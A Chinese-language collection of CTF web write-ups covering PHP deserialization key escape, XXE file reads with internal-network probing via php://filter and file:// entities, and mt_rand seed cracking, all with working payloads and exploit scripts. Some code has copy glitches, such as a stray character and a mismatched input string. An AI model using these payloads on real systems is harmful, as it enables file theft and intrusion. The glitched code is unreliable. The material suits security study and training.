主要进行 php过滤 过滤掉一些正则匹配的关键函数 将这些危险函数替换成 hacker。
implode implode() 函数返回一个由数组元素组合成的字符串
preg_replace 进行正则替换的关键函数
profile.php
?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
这段php主要进行了反序列化,并且对 $profile[‘photo’] 进行一个读取。
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
我们发现了 flag 。
联想到前面profile.php 对 photo的读取,自然而然的就可以联想到 让photo 指代 config.php 进而读取到flag
也就是说,让config,php成为序列化的一部分。
我们在后面添上**”;}s:5:”photo”;s:10:”config.php”;}**,这样就可以得到flag
在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃
同时,针对nickname 我们要采用采用数组进行绕过
采用数组绕过还有一个问题,但这里还有一个问题,如果直接在它的值后传入**”;}s:5:”photo”;s:10:”config.php”;}**,序列化后,整一个字符串都会被当成为nickname的值,并不会顶掉photo。因为在序列化时,它会计算该字符串的长度,并写入到序列化字符串中加以表示。在反序列化后,它会按照该长度来取值,则达不到我们想要的效果。
这时候我们利用:
我们利用 反序列化漏洞——键值逃逸
这时候,我们需要利用class.php中的过滤方法,利用敏感函数会被替换,加入我们正常传入 where 就会被替换成 hacker
,导致实际字符多出一位。
**”;}s:5:”photo”;s:10:”config.php”;}**这串字符串有34位,所以我们需要输入34次where 顶出34个位置,达到恶意修改数据读取flag的效果。
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
将我们的payload拼接到Nickname名字后面

放包,点击连接 查看 源代码 base64解码 即可获得 flag
1 | PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2I5ODk4N2ZjLTZhOGMtNGRlYS1hMTE4LWI2ZWE1YzY5YjIwZH0nOwo/Pgo= |
[NCTF2019]True XML cookbook
直接读取根目录的flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
报错了
爆出了绝对路径
读一下doLogin.php的源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///var/www/html/doLogin.php">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
读取不了,换个协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
得到
1 | PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQQVNTV09SRCA9ICcwMjRiODc5MzFhMDNmNzM4ZmZmNjY5M2NlMGE3OGM4OCc7IC8v5a+G56CBCiRyZXN1bHQgPSBudWxsOwoKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiR4bWxmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7Cgp0cnl7CgkkZG9tID0gbmV3IERPTURvY3VtZW50KCk7CgkkZG9tLT5sb2FkWE1MKCR4bWxmaWxlLCBMSUJYTUxfTk9FTlQgfCBMSUJYTUxfRFRETE9BRCk7CgkkY3JlZHMgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCgkkdXNlcm5hbWUgPSAkY3JlZHMtPnVzZXJuYW1lOwoJJHBhc3N3b3JkID0gJGNyZWRzLT5wYXNzd29yZDsKCglpZigkdXNlcm5hbWUgPT0gJFVTRVJOQU1FICYmICRwYXNzd29yZCA9PSAkUEFTU1dPUkQpewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDEsJHVzZXJuYW1lKTsKCX1lbHNlewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDAsJHVzZXJuYW1lKTsKCX0JCn1jYXRjaChFeGNlcHRpb24gJGUpewoJJHJlc3VsdCA9IHNwcmludGYoIjxyZXN1bHQ+PGNvZGU+JWQ8L2NvZGU+PG1zZz4lczwvbXNnPjwvcmVzdWx0PiIsMywkZS0+Z2V0TWVzc2FnZSgpKTsKfQoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwplY2hvICRyZXN1bHQ7Cj8+ |
base64解码得到
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
看到有个账号密码,登录上去
登录之后啥也没有
使用XXE探测内网存活主机,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///etc/hosts">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///proc/net/arp">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
访问
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "http://10.128.253.12">
]>
<user>
<username>
&xee;
</username>
<password>
123123
</password>
</user>
发包然后发现回显有报错
扫一下c段


然后通过返回包的长度找到flag,but我没找到,看到有人说可能是返回包的问题
[GWCTF 2019]枯燥的抽奖

填入20位字符串,如果符合要求即可得到flag,但是此时只知道一部分hTo22O7vco
先查看页面源代码,发现存在check.php,访问得到了代码
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
满足条件if($_POST[‘num’]===$str)即可获得flag
所以我们要看$str变量是如何生成的
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}xxxxxxxxxx $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }123456
但是发现这个字符串是通过 mt_rand函数随机生成的20个字符组成的
知识点 php伪随机数漏洞
漏洞在于mt_srand()这个函数,php中,mt_rand()生成的是一个伪随机数,是通过算法生成出来的,所以我们可以根据这个来进行破解,从而得到mt_srand()里的种子
根据那篇文章,我们需要将给出前十个密码解析成php_mt_seed需要的参数(参考文章已给出exp)
exp如下(php)
<?php
$pass_now = "hTo22O7vco";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$length = strlen($allowable_characters) - 1;
for ($j = 0; $j < strlen($pass_now); $j++) {
for ($i = 0; $i < $length; $i++) {
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $length ";
break;
}
}
}
?>
看到好多web都是用python 写的
再放上python写的exp
python脚本如下
str1 ='chAhZz5cnT'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
得到随机数
2 2 0 61 7 7 0 61 36 36 0 61 7 7 0 61 61 61 0 61 25 25 0 61 31 31 0 61 2 2 0 61 13 13 0 61 55 55 0 61
以上面生成的随机数为例,假设我们知道了第一个生成的随机数,那我们怎么预测种子呢?
那就要用到php_mt_seed这个工具了。
得到的seed为977950798,根据seed去得到密文就行了,要用php7.1及以上版本的
<?php
mt_srand(977950798);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

